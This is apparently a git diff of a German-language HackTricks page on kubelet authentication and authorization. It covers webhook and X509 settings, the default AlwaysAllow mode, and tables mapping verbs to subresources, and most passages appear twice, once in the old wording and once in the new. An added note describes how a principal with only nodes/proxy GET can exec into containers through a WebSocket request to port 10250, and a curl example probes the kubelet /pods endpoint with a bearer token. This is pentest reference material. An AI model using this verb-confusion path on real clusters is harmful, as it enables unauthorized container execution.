- **Webhook**: Dies wird die **API-Bearer-Token** von kubectl als Autorisierung **aktivieren** (jedes gültige Token wird gültig sein). Erlauben Sie es mit:
|
||||
- Stellen Sie sicher, dass die API-Gruppe `authentication.k8s.io/v1beta1` im API-Server aktiviert ist
|
||||
- Starten Sie den Kubelet mit den **`--authentication-token-webhook`** und **`--kubeconfig`** Flags oder verwenden Sie die folgende Einstellung:
|
||||
- **Webhook**: Dadurch werden die kubectl **API bearer tokens** als Autorisierung **aktiviert** (jeder gültige Token wird akzeptiert). Aktiviere es mit:
|
||||
- Stelle sicher, dass die `authentication.k8s.io/v1beta1` API-Gruppe im API server aktiviert ist
|
||||
- Starte kubelet mit den **`--authentication-token-webhook`** und **`--kubeconfig`** Flags oder verwende die folgende Einstellung:
|
||||
```json
|
||||
"authentication": {
|
||||
"webhook": {
|
||||
@@ -28,11 +28,11 @@ Die **3** Authentifizierung **Methoden** sind:
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> Der kubelet ruft die **`TokenReview` API** auf dem konfigurierten API-Server auf, um **Benutzerinformationen** aus Bearer-Token zu bestimmen.
|
||||
|
||||
- **X509-Clientzertifikate:** Ermöglichen die Authentifizierung über X509-Clientzertifikate
|
||||
> kubelet ruft die **`TokenReview` API** auf dem konfigurierten API-Server auf, um Benutzerinformationen aus bearer tokens zu ermitteln
|
||||
>
|
||||
- **X509 client certificates:** Ermöglichen die Authentifizierung über X509 client certs
|
||||
- siehe die [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) für weitere Details
|
||||
- starten Sie den kubelet mit dem `--client-ca-file` Flag, um ein CA-Bundle bereitzustellen, um Clientzertifikate zu überprüfen. Oder mit der Konfiguration:
|
||||
- Starte kubelet mit dem `--client-ca-file` Flag und übergib ein CA-Bundle zur Verifizierung der Client-Zertifikate. Oder mit der Konfiguration:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -40,16 +40,16 @@ Die **3** Authentifizierung **Methoden** sind:
|
||||
}
|
||||
}
|
||||
```
|
||||
## Kubelet-Authentifizierung <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Kubelet-Autorisierung <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Jede Anfrage, die erfolgreich authentifiziert wird (einschließlich einer anonymen Anfrage), **wird dann autorisiert**. Der **Standard**-Autorisierungsmodus ist **`AlwaysAllow`**, der **alle Anfragen erlaubt**.
|
||||
Jede Anfrage, die erfolgreich authentifiziert wurde (einschließlich einer anonymen Anfrage) **wird anschließend autorisiert**. Der **Standard**-Autorisierungsmodus ist **`AlwaysAllow`**, der **alle Anfragen zulässt**.
|
||||
|
||||
Der andere mögliche Wert ist jedoch **`webhook`** (was Sie **hauptsächlich dort finden werden**). Dieser Modus **prüft die Berechtigungen des authentifizierten Benutzers**, um eine Aktion zu erlauben oder abzulehnen.
|
||||
Der andere mögliche Wert ist jedoch **`webhook`** (was Sie **meist dort antreffen werden**). Dieser Modus **prüft die Berechtigungen des authentifizierten Benutzers**, um eine Aktion zu erlauben oder zu verweigern.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass selbst wenn die **anonyme Authentifizierung aktiviert ist**, der **anonyme Zugriff** möglicherweise **keine Berechtigungen** hat, um eine Aktion auszuführen.
|
||||
> Beachten Sie, dass selbst wenn die **anonyme Authentifizierung aktiviert ist**, der **anonyme Zugriff** möglicherweise **keine Berechtigungen** hat, irgendeine Aktion auszuführen.
|
||||
|
||||
Die Autorisierung über Webhook kann mit dem **Parameter `--authorization-mode=Webhook`** oder über die Konfigurationsdatei konfiguriert werden mit:
|
||||
Die Autorisierung über webhook kann mit dem **Parameter `--authorization-mode=Webhook`** oder über die Konfigurationsdatei mit:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,41 +59,45 @@ Die Autorisierung über Webhook kann mit dem **Parameter `--authorization-mode=W
|
||||
}
|
||||
},
|
||||
```
|
||||
Der Kubelet ruft die **`SubjectAccessReview`** API auf dem konfigurierten API-Server auf, um **festzustellen**, ob jede Anfrage **autorisierte** ist.
|
||||
Der kubelet ruft die **`SubjectAccessReview`** API auf dem konfigurierten apiserver auf, um zu **bestimmen**, ob jede Anfrage **autorisiert** ist.
|
||||
|
||||
Der Kubelet autorisiert API-Anfragen mit demselben [Anfrageattribut](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) Ansatz wie der Apiserver:
|
||||
Der kubelet authorisiert API-Anfragen mithilfe des gleichen [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) Ansatzes wie der apiserver:
|
||||
|
||||
- **Aktion**
|
||||
- **Action**
|
||||
|
||||
| HTTP-Verb | Anfrage-Verb |
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | erstellen |
|
||||
| GET, HEAD | abrufen (für einzelne Ressourcen), auflisten (für Sammlungen, einschließlich des vollständigen Objektinhalts), beobachten (für das Beobachten einer einzelnen Ressource oder Sammlung von Ressourcen) |
|
||||
| PUT | aktualisieren |
|
||||
| PATCH | patch |
|
||||
| DELETE | löschen (für einzelne Ressourcen), sammlunglöschen (für Sammlungen) |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- Die **Ressource**, die mit der Kubelet-API kommuniziert, ist **immer** **nodes** und **subresource** wird **bestimmt** aus dem Pfad der eingehenden Anfrage:
|
||||
- Die **resource**, die mit der Kubelet api kommuniziert, ist **immer** **nodes** und die **subresource** wird aus dem Pfad der eingehenden Anfrage **bestimmt**:
|
||||
|
||||
| Kubelet API | Ressource | Subressource |
|
||||
| ------------ | --------- | ------------ |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _alle anderen_ | nodes | proxy |
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
Zum Beispiel versuchte die folgende Anfrage, auf die Pods-Informationen des Kubelet ohne Berechtigung zuzugreifen:
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
|
||||
|
||||
Zum Beispiel versuchte die folgende Anfrage, ohne Berechtigung auf die pods-Informationen des kubelet zuzugreifen:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- Wir haben ein **Forbidden** erhalten, also hat die Anfrage die **Authentifizierungsprüfung bestanden**. Andernfalls hätten wir nur eine `Unauthorised`-Nachricht erhalten.
|
||||
- Wir können den **Benutzernamen** sehen (in diesem Fall aus dem Token)
|
||||
- Überprüfen Sie, wie die **Ressource** **nodes** und die **Subressource** **proxy** war (was mit den vorherigen Informationen Sinn macht)
|
||||
- Wir haben ein **Forbidden** erhalten, daher hat die Anfrage die **passed the Authentication check** bestanden. Wenn nicht, hätten wir nur eine `Unauthorised`-Meldung erhalten.
|
||||
- Wir können den **username** sehen (in diesem Fall aus dem token)
|
||||
- Prüfe, dass die **resource** **nodes** und die **subresource** **proxy** waren (was im Einklang mit den vorherigen Informationen steht)
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user